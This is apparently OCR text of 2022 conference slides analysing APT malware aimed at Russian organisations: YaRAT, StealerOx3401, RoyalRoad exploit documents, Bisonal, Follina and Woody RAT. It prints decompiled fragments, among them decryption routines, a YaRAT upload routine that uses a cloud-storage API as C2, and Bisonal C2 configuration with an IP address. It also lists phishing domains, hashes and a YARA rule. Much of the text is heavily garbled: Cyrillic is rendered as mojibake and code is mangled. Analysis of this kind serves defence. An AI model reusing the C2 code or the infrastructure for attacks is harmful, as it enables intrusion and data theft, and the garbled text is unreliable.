GlobalSign TSA f... HeT aaHHbIX 9 MapTa 2017, 18:...

L]
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YaRAT: Packing and encryption

2022
++viled; 1: 3 CODE XRER: D1
_obfval = @xE75D10AC; mov ebp, [esi+@B7286h] 2
¥ lea edi, [esi-1006h]
else mov ebx, 1e@eeh
! 142 bfval ©x62B698DE pUSh o =4
v = obfval - ex 8 g
if ( _obfval == ox62B698DE ) EEE: iSp
i
_1stRc4Index = (unsigned  int8)( 1stRc4aIndex + 1); push Eb}.(
_TmpArrIndex = pKeyData[ 1stRc4Index]; push edi
_2ndRc4Index = (unsigned _ int8)(_ TmpArrIndex + _2ndRc4Index); call ebp .
_TmpArr2ndIndex = pKeyData[ 2ndRc4Index]; lea eax, [edi+22Fh]
pKeyData[ 1stRc4Index] = TmpArr2ndIndex; and byte ptr [eax], 7Fh
pKeyData[_2ndRc4Index] = _TmpArrIndex; and byte ptr [eax+28h], 7Fh
pDecrData[_cnt_prng] ~= pKeyData[(unsigned _ int8)(_TmpArr2ndIndex + _TmpArrIndex)]; pop eax
_obfval = @xB719CSDD; push eax
b push esp s -
else push eax
{ push ebx > /
\.;141 = _obfval - @x6BA19445; push e o
if ( _obfval == @x6BA19445 ) call ebp
! ++vled; pop cax /
_obfval = @x85F541C; popa - - v =
) lea eax, [esp+48h+var C3]
else £ =
{ 5: ; CODE XREF: D1 : 3 Z =
v140 = obfval - ©x739CDA99; push o = R
if ( _obfval == @x739CDA%@ ) cmp esp, eax g B
{ jnz short loc_73BC7B65 B
pKeyData[v164] = v164; sub esp, OFFFFFF8eh o
_obfval = @x3C7748BC; =
} E: ; CODE XREF: D1 = )
\ ¥ Jjmp sub_73B72825 .

1& | 40
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YaRAT: Overview

https://cloud-apiyandex.net:443/\1/disk/resources?path=

https://cloud-
apiyandex.net/vVl/disk/resources/download?path= a.psd
https://cloud-
api.yandex.net/vVl/disk/resources/download?path= b.psd

Command

VFF
{ONE

2022

Yandex.Disk

41
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YaRAT: Payload

*(_QWORD *)v46 = @x2E747865742064164;

strcpy((char *)v37, "\x88j?$\xD3\x08\xA3\x85. \x8A\x19\x13Dsp\x083\"8\t\xA4\xDO\x31\x9F ) \x98\xFA.\b\x891N");
v38 = *(_OWORD *)&g pKey[32];

v39 = *(_OWORD *)&g_pKey[48];

v48 = *(_QWORD *)&g pKey[64];

memmove_1(g_pBlowfishConsts, &g BLOWFISH_Init_Const, ©exleeeu);

B s Lt ol ok T A L N v

«“>

FnStrconcat ( c '
&v45s,

v8, .
(int)v47, 'r‘ B

8x38u, : ol
v9,
(size_t)v4e);

if ( HIDWORD(a3) >= 6x18 ) ° Dl R-
1

{
v1le = a2;
vll = (std_string *)(HIDWORD(a3) + 1);

if ( (unsigned int)(HIDWORD(a3) + 1) >= @xleee ) ° .
: EXEC;

vle = *(_DWORD *)(a2 - 4); I, WreH ¢
vll = (std_string *)(HIDWORD(a3) + 36); !

if ( (unsigned int)(a2z - vie - 4) > @xiF ) ° SLEEP. iy
goto LABEL_38; 1 , T . .

}
v4e = vl1l;

. fnMemFree_o(vie); L4 DOW N LOADy

v4e e;
v39 als

a2 = v45;
Va7 = &2s; « UPLOAD.
a3 = v4e;
v38 = 8;
LOBYTE(v50) = 1;
vl2 = this;
if ( this[5] »= exleu )
vl2 = (_DWORD *)*this;
v13 = (int)&a2;
if ( HIDWORD(a3) >= exle )
vl3 = a2;
v1l4 = (_DWORD *)fnCurlSendData(this, (int *)&v45, v13, (int)"PUT", (int)vi2);

L AP e AN

a3, 0 |
"https://cloud-api.yandex.net:443/vl/disk/resources?path=", 5 s Y.
7

>
>
.
=
(@]
(=3
=




StealerOx3401: C2 decode

c15a475f8324fdfcd959ffc40bcbeeb55chbdc5ab9chbdalcaf59d63700989766f

pData = (HANDLE)(3 - (_DWORD)puUrl);

do

{
purl[cnt] ~= *(( _BYTE *)&pKey + 4 * (cnt % 5u));

2021 purl[cnt + 1] = *((_BYTE *)&pKey + 4 * (cnt - 5 * ((cnt + 1) / 5u)) + 4);

purl[cnt + 2] ~= *((_BYTE *)&pKey + 4 * (cnt - 5 * ((unsigned int)&puUrl[vi3 + cnt] / 5)) + 8);
purl[cnt + 3] ~= *((_BYTE *)&pKey + 4 * (cnt - 5 * ((unsigned int)&pUrl[(int)pData + cnt] / 5)) + @xC);
cnt += 4;

}

A

0Oa5fb4a480b1748dc7f963a491a9aa32ff8c8fedOlbeaOcfd250a5efO1654eb3

g pEncrKey = g key;
pStartData = 3 - (_DWORD)g pEncrData;
do
{
g peEncrDatal_cnt] ~= *((_BYTE *)&g pEncrKey + 4 * (_cnt % 5u));
g peEncrDatal cnt + 1] ~= *(( BYTE *)&g pEncrKey + 4 * (_cnt - 5 * ((_cnt + 1) / 5u)) + 4);
2022 g pEncrDatal _cnt + 2] ~= *((_BYTE *)&g pEncrKey + 4 * (_cnt - 5 * ((_cnt + 2) / 5u)) + 8);
g pEncrDatal[_cnt + 3] ~= *((_BYTE *)&g pEncrKey
+ 4 * (_cnt - 5 * ((unsigned int)&g pEncrData[pStartData + cnt] / 5))
+ @xC);
_cnt += 45

¥

P B = r - 2 FMoAAn 2L

Q
SEF

ONE

2022
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StealerOx3401: Stealed data example =" FF
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db "-------e B1oS-INFO--------------------- '
; DATA XREF: fnGetOsInfo+49to
db "---o oo ' ,0Dh,0Ah, 0
align 8
db "-------iee Memory-INFO--------------------- '
; DATA XREF: fnGetOsInfo+76To
15 e e ' ,0Dh,0Ah, 0 S
align 16h
db "o Disk-INFO---------——————————~__ :
;3 DATA XREF: fnGetOsInfo+97to ——
o ' ,0Dh,0Ah,0
align 8 o
PE e 7 T E - —— e e e e ' Y oo
;3 DATA XREF: fnGetOsInfo+BETo 7
o ' ,0Dh,0Ah,0 -l
align 1eh
db "--------eee Network-INFO-------------------- '
; DATA XREF: fnGetOsInfo+E5To S
db "o - ' ,8Dh,eAh,®8
align 8
o S 1 R :
;3 DATA XREF: fnGetOsInfo+l1ecCto
il Temmmmemm oo ' ,0Dh,0Ah,0 =
align 1eh =
db - Process-INFO---------------—-—---- '
;3 DATA XREF: fnGetOsInfo+186to
dh ' _____ '.anh.aah A

44
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« portal.super-encrypt.com
* super-encrypt.com

« portal.intranet-rsnet.com
* intranet-rsnet.com

« pl.offline-microsoft.com
« offline-microsoft.com

« cdn.microsoft-official.com
« microsoft-official.com
 ramblercloud.com

* yandexpro.net

Q
2
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Documents: cee
. File Name : KiySADS.docx
« Same stub; File Size : 1552 kB
) File Modification Date/Time : 2022:06:03 11:05:16+03:00
e Same EXIF field. Identification : Word 8.0 J—
Language Code : English (US)
Author ! pclqg2l3
Software : Microsoft Office Word
Malware: e
’
« Unique (within the scope of our e

AN

coverage) code snippets that we have .
not seen elsewhere (YaRAT, old and .
new samples);

 Obvious similarities in the algorithms
iImplemented within the malware
(StealerOx3401);

« Cloud service in the role of C2.

A
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INnitial access

YVBaKaEMEIE KOJLIETH!

J OIIOJTHUTENEHO HATIOMMHAEM, HTO B II0CNEJHee BPeMA VHACTHIHCE CIIYHAH MIOIETOK KPaKH JOTHHOB/
MApOJIEH pocTyna coTpymnane MuricTepcetea K ook ebHOR nmoyre u Cimyk ebHOMY mopramy.

SMOYMENILUTEHHHKY 0T Joia npepcrapurened Jenmapramentoe WIMI, rocymapcTBEHHERR U OpYTHE
3MEKTPOHHOR IOYTEL IMCEMA, B KOTOpEX yoexpanT Bac o

H ‘ : ¥ WndopmaumoHHble 6onnetenn - Coo... - St "
AK IIPABKII0, TIPEMNATaeTCA IIPOHTH 10 CCELUIKE I CKAYHBAHHA @aﬁﬂa Umlb OPMALTHH ) HITH

daiin CoobluieHne CnpaBKa Q YT0 BbI XOTUTE cAenaTh? DEIBAETCA CTPEHHMIE B 61 €, Ha I{DTUp Dﬁ Elal'ﬂ Hp EIATAKT EBECTH CEOH C

ima K coryxefHoi mogre, CysxefHOMY HOPTANy WM HHOMY PECYPCY.

WNHpopMaLmoHHble GronneTenn JATENIECTEAX HE BEOTHTE B TARKIX CITYHaT CEOH CIIY bHEIE J'IL'.II‘I-H-D"I'E!}JD.THJ

1500 € Ha TO, 0 OOEYME] QJCEK BEITE THEDE EHEI K 2 v OTEPEIE: C’ 3
openpgp-digital-signaturease Z I IMAHWHE Ha TO, 9T0 OOKYMEHTEI TOJCEHEI OEITE ITPHEPEIUIEHE! K ITCEMY H OTKPEIEATECA H

1008 B T M= ke
[o6pbi i L IIPABWIT IT03EOJIHT C obixocTH mjmiumemma.m;ﬂcu:m HE TONEKD Balnmz JaHHEDZ, HO H
obpbiii geHb! X \ cp SRS Sevd
x e M ) e
Hanpasnsem 6tonneteHn o6 akTyanbHbIX YS3BMMOCTSX. YRHAKDB I'hMII‘Tr"p"TBd'
C yBaxeHuemMm, '
KomaHaa HaunoHanbHOro KOOpAMHaUMOHHOMO LIEHTPa NO KOMMbIOTEPHbLIM MHUMAEHTaM 3 CHOCTE 3apaik EHHA Barrero APNa Uﬁpamafrreca B TEEHHHECKYH

107031, r. Mocksa, yn. bonbwas JlybsHka, a. 1/3 16 901-07-42 wm incident@cert. gov.ru.
Email: incident@cert.gov.ru, info@cert.gov.ru ’ - -
CaiiT: http://cert.gov.ru/

Ten.: +7 (916) 901-07-42

C yBaKEHHEM,
Komanpga HaloHAMEHOr 0 KOOPMHAIMOHHOT 0 LIEHTPA 110 KOMITEIOTEPHE HHITMIEHTAM
107031, r. Mock®a, yn. Bomeinag Jlybama, g 1/3
Email: incident@cert. gov.ru, info@cert. gov.ru
Caitr. http.//cert. gov.n/
e +7 (0163 001.07-42

NO

FF
ON

2022

E

48



FF
ONE

2022

NO

CERT.GOV.RU: Notice

3N0oyMBILUNEHHUKKN PACChINAT BPeOOHOCHbIE NcbMa noa enagom Bronnetexen HKLIKW

HALUMOHANBHBIA KOOPAMHALMOHHBIA
UEHTP NO KOMNBIOTEPHBIM MHUMAEHTAM

HaumoHanbHbIW KOOPAWHALMOHHLIN UEHTR N0 XoMNLIOTERHLIM HHUMAeHTaM (HKUKW) npeaynp T D NONbITKAX PACNPOCTRAHEHWS BRENQHACHOID NROrpaMMHONG
J r .| ) t \ ! A r '

neseHun (BMO) o1 umenn HKLIKW nop snaosm paccainsu GionneteHen of yS3IsMMOCTHAX B NPOTREMMHOM 0TecneveHH 1 yrpoaax 6830NacHOCTY UHDOPMAaLMK
Paccbinka BpeaoHOCHbIX N C INEKTPO MTHl: threats

BpenoHocHble NUCbMa Coaepar Bnc e — (Palin B¢ 4 AMA harna 0. / a40494fd8

AUECTBNAGTCA NONbITKA BHegpenuA BIN10.
Hanomusaam. 410 odMyransHsIn 3apec anNexTPOHHDA NOYTel pacceinky Bronneraxen HKLKW: threats@cert.gov.ru.

H:‘(ul"\.ﬂ, pexoMeHaYET OCYUeCTENAT: NPpOBa  2aran 08 INEXTPOHHBIX NUCEM HE NpeaMeT COOTBETCTEBMA 81 NekTpOHHOW NOYTEI peankH TNPAEUTENSA.
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https://safe-surf.ru/specialists/news/680267/

RoyalRoad: Decoy

MPOTOKOJ

i " “ Hogrpymma Ne 4: Hudoprmaiporotast Gesomacwocrs locObnaxa
JACOAANT MEINBe JOMCTHEINOH paboveit TPYINEI Mo pasENTIY TOCYHAPCTHEINM | d

emooit obiawoit wrardgoprsr (zaxee — 'ocObxaxo)

(Mg, [MTenerint, Konarmos, Cepeges, Iyceriny, Bypaeno, Maxnaxos, e drep, Xacin)

Mocxea Ofcvmunt:

Bompoc
[pegromernon
1.1 Onpegemme ['ocOBmaxo xax apTOMATIOMPOBAMNYIO CHCTEMY, COCTOMALYIO I3
[picyrcrpopams ¥ ) Op MALTH O HHD- KOMMYHHME AL OHHOH HEPPACTPYETYPEL CEpPBMCOB,

. MHQOPMAIBIOMMBIX  CHCTEM, KAHANOB CBASH, ODchydomaromero IlepcoHana,
Or Miooecrepersa undposoro passurist, CBSOH N MACCOBBIN KOMMYNMKAMIG

R roAcHcTene! ipshopreunpeormoit besomacHocTHt M TA Me JABMCHMO OT MOAIHM
Poccxicxoit Pemeparpon

TIp &40 CTABMEHILA YCIyT
Hup exrop nporpans: Henadt Anexcedt J1e ormaosmy 12 PaspaboTam™ M BBIHECTHM HAa comMmacopadme pabowed rpymre! AOKYMeHT

«I"ocOBmaxo» «Komermpno cosgarem u passirmn [ocObGnaxen. B meft otpasurms  ocmobmete

PYKOBOZMTENS I1p 0EXTOR [enesym [eoprigt FOps epig upupan: cospume ['ocObmaxs, ywacrmeas 'ocOGmaxe, som: omercrsenmocmn
yaacTHMEOE [ 0cO6maxa, ofsexrs! saupms: [[ocObmaxa, ¥ ApyTHe KOHIENTYANBHBIE
PYKOBOMTEID 1P OSXTOR Konaron Cepreft Cepreesirt BONPOCH!

X . S o 13 32a ocmony Komuernpor cosgarom # paseumx [ ocOBmaxa nprpurm:
Pyxosomerens rIpoexTos “epega Cepreit Anexcasap oBirg Wonudenne FROT
A OEHCTY &TOP TP OEKTOR [Cycesiy Anexcen

Bonpoc Ne2. Popnsposarste tpebosarndi no roshopmarprormoii Gesonacuocm
Or [TAO «Pocrenexosm [ocO6maxs
HspexTop no npogaxam sypaeno Hean Anexcangposim [Mpemmoxera
2.1 Heobxomaovo onpepemss emnwmte tpebosarnn xo scem [locrasnpmen
F:n":'f":m”"n_b HeHTpa Maxmaxos Angpei Bnagonposis ocOBnaxa. TpeBoparam meobxommio cHopMyTHposaTs Ma OCHOB AMIGS PYROBOAIINLX
RO renLy aoxymerTor PCTOK nmo MaxciovamsHEBmM MTaccam sanpauessocTs gni [HC - 1 V3,
Or PCTIK Pocexx LA MepCOHATBHBIX JaHHbIX — | Xnace
Ma yToepaxgernte pabouedi rpyrom:
[ednep Hprora Cepreenna 22 Ortpercreersna 5a peampampgo [IOHUE 5 obmectsermom [NocOfmaxe
Ot P CE Poccx ompeaemsrs [locrasmuxa y sa M'HC - [lorpeburems, sa dopmuposane
mpeborparadi x Ilocrasupacy u  ITorpebirremo -~ Tloc3axaswme pgeramsapno

Xacy Esrerntit Bnagmvop osid PATTPADMPIIGL JOH OTBETCTEEHHOCTH HeoDXOAMMO JamKpermMrs BO  BHYTPeHHMX

pernamenTax [ ocObmaka



https://cert.gov.ua/article/375404
https://www.sentinelone.com/labs/targets-of-interest-russian-organizations-increasingly-under-attack-by-chinese-apts/

RoyalRoad: Analysis {ERE

2022

« CVE-2017-11882;
« EQNEDT32.EXE;
* Microsoft Equation Editor.

https://github.com/decalage2/oletools/wiki/rtfobj

https://github.com/nao-sec/rr_ decoder 51



https://github.com/decalage2/oletools/wiki/rtfobj
https://github.com/nao-sec/rr_decoder

Actor

Malware

RoyalRoad: Tracking

SharpPanda

Tonto
Tonto
Tonto
Tonto
Tonto
Tonto

RedFoxtrot?

SharpPanda

TA428?

TA428?

TA413

Tonto?

SharpPanda

5.t Downloader

Bisonal

(strPageID

variant)

Bisonal
Bisonal
Bisonal
Bisonal
Bisonal

(strPageID
(strPageID
(strPageID
(strPageID
(strPageID

HIDER (PlugX?)

Unknown Downloader

5.t Downloader

Unknown Downloader

Unknown Downloader

PoisonIvy

Unknown Downloader

5.t Downloader

nccTrojan (v1.x)

variant)
variant)
variant)
variant)

variant)

(Shellcode)

VT Submiss

2022/07/14

2022/06/23
2022/06/23
2022/06/21
2022/06/21
2022/06/21
2022/06/20

2022/06/17

2022/06/16

2022/06/16

2022/85/19

2022/@5/19
2022/85/19
2022/05/12

20822/02/05

20822/01/24

20821/12/03

RTF Creatio

2022/87/13

2022/086/23

2022/06/09

2022/86/20

2822/e6/09

2022/86/15

2021/11/23

20821/11/23
2822/85/13

2022/65/05

20822/01/23

2021/11/23

.
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SHA256 File Name Versiol Code P: RTF Lan Countr' ob

3541f3d15698711d02254 fav.ico

43622526694b4Bbad5fde INoscaurensHas 3amicka K 3HW.doc
0828b9834e1f967fc68d7 P3H 2022.doc

c2ba362693aad86861798 O_dopmuposanun_npoekta_ITHC_2022_daitn_oTobp
d79dcb90dfc01723f8df5 3ameuanms Tabmna 20.06.2022.doc
7970393e506934e93041 Baumanuio.doc

c7018ee3783f4b2fb19fe 17.06.2022_IIporokon_MPI' Ilogrpymma_HE.doc

9b79fbbc895ca98b951ae AukeTHpoBaHMe ArEHTCTBA MO JieNaM TrocyapcTBeHH Kz

7944faScbfef2c7d652f@ Banmanmio. doc

95097c4aeb9e777a5be75 fav.ico

27c31ePbe556386cbb25f 8c3652fc39.doc

256c8e1a4d12948e189ch 3dd2829453.doc
9681ef91@820d553e4cd5 Application-form-Sixmonth-workshop-2822v1.doc
ba2c89192643f05e64f49 Please help to Check (1).doc

d987e80a23f334c5eb50¢c p963.doc
4747e6a62fee668593cee fav.ico

65bddf8148ed6015625b3 Onmlox mamaa 2021 11 23.doc



https://docs.google.com/spreadsheets/d/1lDzylI6Jymz7EE0agRVUsL3kwmJSRDjXYjr5l5MUOEk/htmlview
https://nao-sec.org/2020/01/an-overhead-view-of-the-royal-road.html

Bisonal

ﬁ Alexey Vishnyakov

Do you pay attention to the non-standard #RCA4
algorithm implementation in the #APT malware?

Look at some old and recent #Bisonal samples with
128-sized S-box - they are effectively detected by such
H#YARA rule@®

C2:137.220.176\.165

rule abnormal_rcéd sbox 128 {
stringsi
$ci = {30 80 08 00 0}
$c2 = {31 F? 36 90 €0 09)
$c3 » {81 £7 7F 90 06 53}
condition
wintis (B ) == @xSMD and a1l of them
and g2 [ 1] - g1 | ] <188
and @c1 [ 1 ] ~§c2 [ 1] « 108
and @cl [ 1] ~@2 [ 1] <10
and @c2 [ 1 J -@c3 [ 1] ¢ 108

https://twitter.com/VishnyakOv/status/1539664855371657216

https://attack.mitre.org/software/S0268

QONE

2022

53


https://twitter.com/Vishnyak0v/status/1539664855371657216
https://attack.mitre.org/software/S0268

Bisonal: Config data

this->pHttpvtable = &CHttpFunc:: vftable';
fnRcaInit(this, vis, vi19);
fnRcaDecrypt("Host: %s\\r\\n", @xD);
fnRcaDecrypt(“Connection: keep-alive\\r\\n", @x1B);
fnRcaDecrypt("Accept: */*\\r\\n", exie);
fnRc4Decrypt(
"User-agent: Mozilla/5.@ (Windows NT 6.1) ApplewWebkit/537.36 (KHTML, like Gecko) Chrome/66.©.3359.181 Safari/s537.36\\r\\n",
ox77);
fnRc4Decrypt("Accept-Encoding: gzip, deflate\\r\\n", ex23);
fnRc4Decrypt("Accept-Language: ru-RU,ru;q=0.9,en-Us;q=0.8,en;q=0.7\\r\\n", @x39);
fnRc4Decrypt(“Cookie: JSESSIONID=", @x14);
fnRc4Decrypt("Content-Type: application/x-www-form-urlencoded; charset=UTF-8\\r\\n", ex43);
fnRc4Decrypt (" %s%u&newsID=%04d-%02d-%02d-%@2d%02d", 0x24);
fnRcaDecrypt("Software\\\\Microsoft\\\\Windows\\\\Currentversion\\\\Internet Settings"”, ox4e);
fnRc4Decrypt("ProxysServer™, @xc);
fnRcaDecrypt("ProxyEnable™, @xc);
fnRcaDecrypt(”/ru/order/index.php?strPageID=", Ox1F);
fnRcaDecrypt("”/ru/news/index.php?strPageID=", Ox1E);
fnRcaDecrypt("”/siteFiles/index.php?strPageID=", 0x20);
fnRcaDecrypt("”/xhome.native.page/datareader.php?sid=", @x27);
fnRcaDecrypt("GET™", 4);
fnRc4Decrypt ("POST", 5);
fnRc4Decrypt("HTTP/1.0", 9);
fnRc4Decrypt("137.220.176.165", 0x1@);
fnRcdDecrypt("22", 3);
fnRc4Decrypt("wininet.d1ll", @xcC);
fnRc4Decrypt("InternetOpenA™, OxE);
fnRc4Decrypt("InternetSetoptionA™, ex13);
fnRc4Decrypt("InternetConnectA”, ex11);
fnRc4Decrypt("HttpOpenRequestA™, ex11);
fnRc4Decrypt("HttpSendRequestA™, @x11);
fnRc4Decrypt (" InternetQueryoptionA™, ox15);
fnRcaDecrypt("InternetReadFile”, ex11);
fnRcaDecrypt("InternetCloseHandle™, ex14);
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LibraryA = LoadlLibraryA("wininet.d11");
this->pWininetAddr = LibraryA;
if ( Librarya )

InternetOpenA = GetProcAddress(LibraryA, "InternetOpenA™);

vll = this->pWininetAddr;

this->pfn InternetOpenA = InternetOpenA;

InternetSetOptionA = GetProcAddress(vill, "InternetSetOptionA");
v12 = this->pWininetaAddr;

this->pfn InternetSetOptionA = InternetSetOptionA;
InternetConnectA = GetProcAddress(v1l2, "InternetConnectA™);

v13 = this->pWininetaAddr;

this->pfn InternetConnectA = InternetConnectA;

HttpOpenRequestA = GetProcAddress(vi13, "HttpOpenRequestA™);

vil4 = this->pWininetaAddr;

this->pfn_HttpOpenRequestA = HttpOpenRequestA;

HttpSendRequestA = GetProcAddress(vi4, "HttpSendRequestA™);

v1l5 = this->pWininetaAddr;

this->pfn_HttpSendRequestA = HttpSendRequestA;
InternetQueryOptionA = GetProcAddress(v15, "InternetQueryOptionA™);
v16 = this->pwWininetaddr;

this->pfn_InternetQueryOptionA = InternetQueryOptionA;
InternetReadFile = GetProcAddress(vi6, "InternetReadFile™);

vl7 = this->pWininetaddr;

this->pfn_InternetReadFile = InternetReadFile;
this->pfn_InternetCloseHandle = GetProcAddress(vi7, "InternetCloseHandle™);
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Bisonal: Main thread

typedef struct _FIRST_PACKET
{
BYTE startPacket; 0x1
DWORD ipAddress[];
DWORD codePage;
DWORD timeStamp;
DWORD sysInfo;
DWORD VersionInformation.dwMajorVersion;
DWORD VersionInformation.dwMinorVersion;
DWORD wProductType;
WORD const;
char tokenInfo[].hostName;
WORD const;
char tokenInfo[].userName;
WORD const;
char PCName[];
WORD 1isProxyl[];
WORD const;
char constMark[3];
} FIRST_PACKET, *PFIRST_PACKET;
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while ( 1 )
{

vi5 = 0;

memset(vig, @, sizeof(vis8));

memset(v19, @, sizeof(v19));

memset(v21l, @, @x800u);

memset(v20, @, sizeof(v2e));

v8 = fnMakeInitPacket(v1g, vi4);

sprintf(Buffer, "%s%u", "/ru/order/index.php?strPageID=", unk F7C5E@);

fnCustomBase64Encode(v8); // custom base64 with alphabet "ABCDEFGHIJKLMNOPQRSTUVWXYZ234567="

NET: :fnSetpacketHeaders(v21, vo, v19);

if ( INET::fnC2Communication(v21, vie, Buffer, v2e, vie, &vl5) )
goto LABEL_10;

v1l = strcmp(v2e, "{\"status\":\"success\"}");

if (vi1i )
vlil = v11l < @ ? @xXFFFFFFFF : 1;

if (vi1i )

{

LABEL_18:

v13 = rand();
Sleep(vl3 % ©x1770 + ©Ox3A98);

}

else

{

Thread = CreateThread(e, @, thread commandExecute, @, @, 0);
WaitForSingleObject(Thread, @xFFFFFFFF);
¥
b
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Phishing domain

-ru-data.ru

Whois Lookup

Last updated on 2022-06-21T05: 16:32Z
created: 2022-04-11T15:46:02Z

domain: MICROSOFT-RU-DATA.RU

nserver: nsl.reg.ru.

nserver: ns2.reg.ru.

paid-till: 2023-04-11T15:46:02Z
registrar: REGRU-RU

source: TCI

state: REGISTERED, DELEGATED, UNVERIFIED
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Phishing website

[enb 3awmuThl geven

Zl obvegnHenHan asmacty X [Ed

UcTopun
< C O B https://oakrussia.ru/ru/

Pykosoacrteo - &
y & OAK obbsaenaeT Habop ageTten AnNs yvyacTus

Komnanuu
3akoHoparenscTeo

MpoTusogencTene
KOppynuuu

Peanusauua HenpopunbHbIX
aKTUEOB

ApeHpa
C OHEeM 3aWmThl 1 OObeauHeHHas
KopnopartusHbie 6a3bl ( CTHUKOB NETHUX NPOrpaMm OTAbIXa

OTARIXA eaH» (Bnaaueoc
KagpoBas nonutuka K y4acTuio 8 0TH0pe NPUIMaLLAoTCS LKOMBHUKK

KOHTaKTb! B xoge n bl YYaCTHUKW MO3HAKOMATCA C K
paMKax npakTU4Heckol 4Yactu pedata usyyar Ko

{aKOMATCA C HEenpoTex
O6paborka nepcoHanbHbIX N o P
AaHHbIX

M yNpas

pi

MOpMY 3aABKY

>NbHON NpOrpam
CHOIo O 3 Ha §e3803Me3aHON OcHOBE. TpaHC p Aeven

ocyulecTenaeTca pogurenamm CaMmoCTOATENbHO




Related infrastructure

Domain First Seen

mail.nciinform.ru 26.05.2022 1:40

oakrussia.ru 30.05.2022 1511

rus-mil.ru 31.05.2022 4:3]

garmandesar.duckdns.org 31.05.2022 7:59

www.garmandesar.duckdns.org gjlewierrX:=Rl:
mail.okb-sukhoi.ru 31.05.2022 19:53

www.oakrussia.ru 09.06.2022 15:48

WWW.rus-mil.ru 09.06.2022 15:49
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Follina (CVE-2022-30190

ms-msdt + PS

Windows Support Diagnhostic Tool

ITamaTKa no HHGopMaLMoHHoii Ge30nacHoCTH

1. Ilapoau

[Mapo.e g0 BpAaTh He MeHee 8 CHMEC ToATE M3 OYKE B 000X perncrpax v updp (Hammune
CNEeLCHMBOIDE MPHBETCTEYETCH).

[apoJik #emTeTkHO MEHATL He pexe | paza B 6 Mecslier.
[lapob He [0/DKeH COBNAJATL C HAHMEHOBAHHEM Y4eTHOI 3arHCH.

N3BATE Mapo/k TPETEHM JTHLAM.

APAHHTE MapoJH HE‘I‘!E?\'DIE(HI\'[D B HETOCTYITHOM 1, NOCTOPOHHHX MecTe MpelaeTcA 3aMdck H XpaHeHHe

Napo/ei B i X K <a Ha MOHHTO)| MAME [0J
KJIaEHATYPOH).

MpelaeTcs OTNPARIATE MAPOTH B CO0BILEHHAX 31eKTPOHHOH NouTkl, SMS WIH APYIHM 3/1eKTPOHHBIM
criocofBom.

B ooy {OMIMPOMETALIH NAPOJIA Bhl O/IKHE] HEMEIEHHO CMEHHTE Napo/k HIH 3aNpoCcHTL BPeMeHHLIH
Mapok y cotpygHika TIL

He BEBOJHTE CEOH Napo/H eClIH BEl He

2. KondijenunansHan HHGopMAaLHs

1 CETH KOMITAHHH TO. <0 B Iarnke

OB1jHe nankk ¥ nankk ofMesa coryxar 118 oBMeHa He KoHhHeHIHATEHOH HHDOpMatpei.

[Moie cKaHAP OBAHMA KOH(PHIEHLHAEHOH HH(OPMALMH ¥ JATHTe CBOH (aii/ikl H3 NaNKH CKAaHUPOBAHHA (ECH
Tk npaga). 06 ¥ 3 [0/DKHa ouniaTscA cunanmu TIT pe
HAMPHMED,
[Mocne neyatH KoH(HEEHHABHOT HHPOPMALIMHM KAK MOHO GricTpee 3abepHTe ee H3 MpHHTEpa.
TT1 He rapaHTHPYeT COXPaHHOCTE HH(OPMALIMH, COJepAalle
eHTEI).

cfHa BalleM komneioTepe (Paboumi cron, Mou

3. IMonwsoBareno Windows

Bauwa yuetHas 3anucs Windows se/sieTcs aHa1orom eawei nognuck. Jirobeie qeHCTEHA OT HMEHH Ballei

:.“{E’THDr 3anHcH DyayT B CNPHHHMATLCA KdK BallIH.

noKMpYiire pabounii cTou, nokugan pabouee Mecto (Kiasuim Win+L).

4. 3amuTa ot BpejonocHoro I1O

He DT[‘.DE]EEﬁTE‘ IEKTPOHHEIE [THCEMA OT NOJO3PHTEEHBIX ( HHuC NoA03pHTEIEHEIM COLepAaHHeM.

2022
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https://doublepulsar.com/follina-a-microsoft-office-code-execution-vulnerability-1a47fce5629e
https://blog.reversinglabs.com/blog/threat-analysis-follina-exploit-powers-live-off-the-land-attacks
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Pentest ?

yy ¢ @25(

amazing
9bc071fb6ald9e72c50aec88b4317c3eb7cOf5ff5906b00aa00d9e720cbc8
28d

#attacked #Russia #APT #UNKNOWN

@kaspersky

C2:telemetry-ru-server[.Jru
microsoft-telemetry[.]ru

¥ Kaspersky Security Scanner.exe

¥ KasperskySecurityScanner_v21.3.exe

yy ¢ @250:! 397 )

other one download from
http[:1//194.87.253.91:84/KasperskySecurityScanner_v21.3.exe
virustotal.com/gui/file/f9d12...

i
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https://twitter.com/2508040397yy/status/1379264409542000640
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Woody: Network protocol

POST /knock
Encrypted C2

U... C:\\hep2\\build\\cpp\\x64\\bin\\WoodyNode.pdb
WoodySharpExecutor
WoodySharpExecutor.dll
WoodySharpExecutor

00000013 WoodySharpExecutor

0000002C C:\\hep2\\build\\c#\\dll\\WoodySharpExecutor.pdb

00000028 C-
C
C
C
C
C

00000012 C WoodyPowerSession
C
C
C
C
C

00000013
00000017
00000013

\4

A

POST “_DAT" packet

00000016 WoodyPowerSession.dll

00000012 WoodyPowerSession

00000012 WoodyPowerSession

0000002B C:\\hep2\\build\\c#\\dIl\\WoodyPowerSession.pdb
00000016 .?AVWoodyHttpClient@@

GET /ping

dollol{o
Il

Type of comma nd/Commana

\Welelo\VAR7N] C&C

https://blog.malwarebytes.com/threat-intelligence/2022/08/woody-rat-a-new-feature-rich-malware-spotted-in-the-wild/amp/ 63



https://blog.malwarebytes.com/threat-intelligence/2022/08/woody-rat-a-new-feature-rich-malware-spotted-in-the-wild/amp/

Woody: Command parse _

if ( v29 == 4 && !memcmp(v55, " REQ", 4uisd) )
{

lpstartAddress = 8164;

v56 = operator new(@x38ui6d);

v56[1] = 0i64;

*v56 = @164;

vs6[2] = eie4;

v56[3] = @xFie4;

v56[4] = 0i64;

v56[5] = 0i64;

vs6[6] = @i64;

fnCommandsByAddr((__inte4)&v81, &lpsStartaddress, v56);

if ( lpStartAddress )

{

v1@[v1l++] = CreateThread(ei64, @i64, lpStartAddress, vs6, @, 01i64);

Iy

LOWORD(v8@[e]) = 1;

v8a[1] = fnPSLSExecute;

Dst[@] = eie4;

v77 = 0164}

v78 = OxFie4;

std::string::assign((std::string *)Dst, "PSLS", 4ui64d);

v29 = String::fnsStrCmp((std::less<std::string > *)v88, ( inte64)Block, Dst);
*(_OWORD *)(*(_QWORD *)v29 + @x40i64) = *(_OWORD *)v80;

\
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Woody: Global context / §§§E

inited = fnInitMainStruc();

vll3 = inited;

vl = (struct vl *)g pvistruct;

if ( lg_pvistruct )

{
vl = (struct vl *)operator new(©x30ui6d);
pvistruct addr = vi;
*(_OWORD *)&vi1->qworde = 0i64;
*(_OWORD *)&vi1->qwordle = 0164;
*(_OWORD *)&v1->qword2e = 0164,
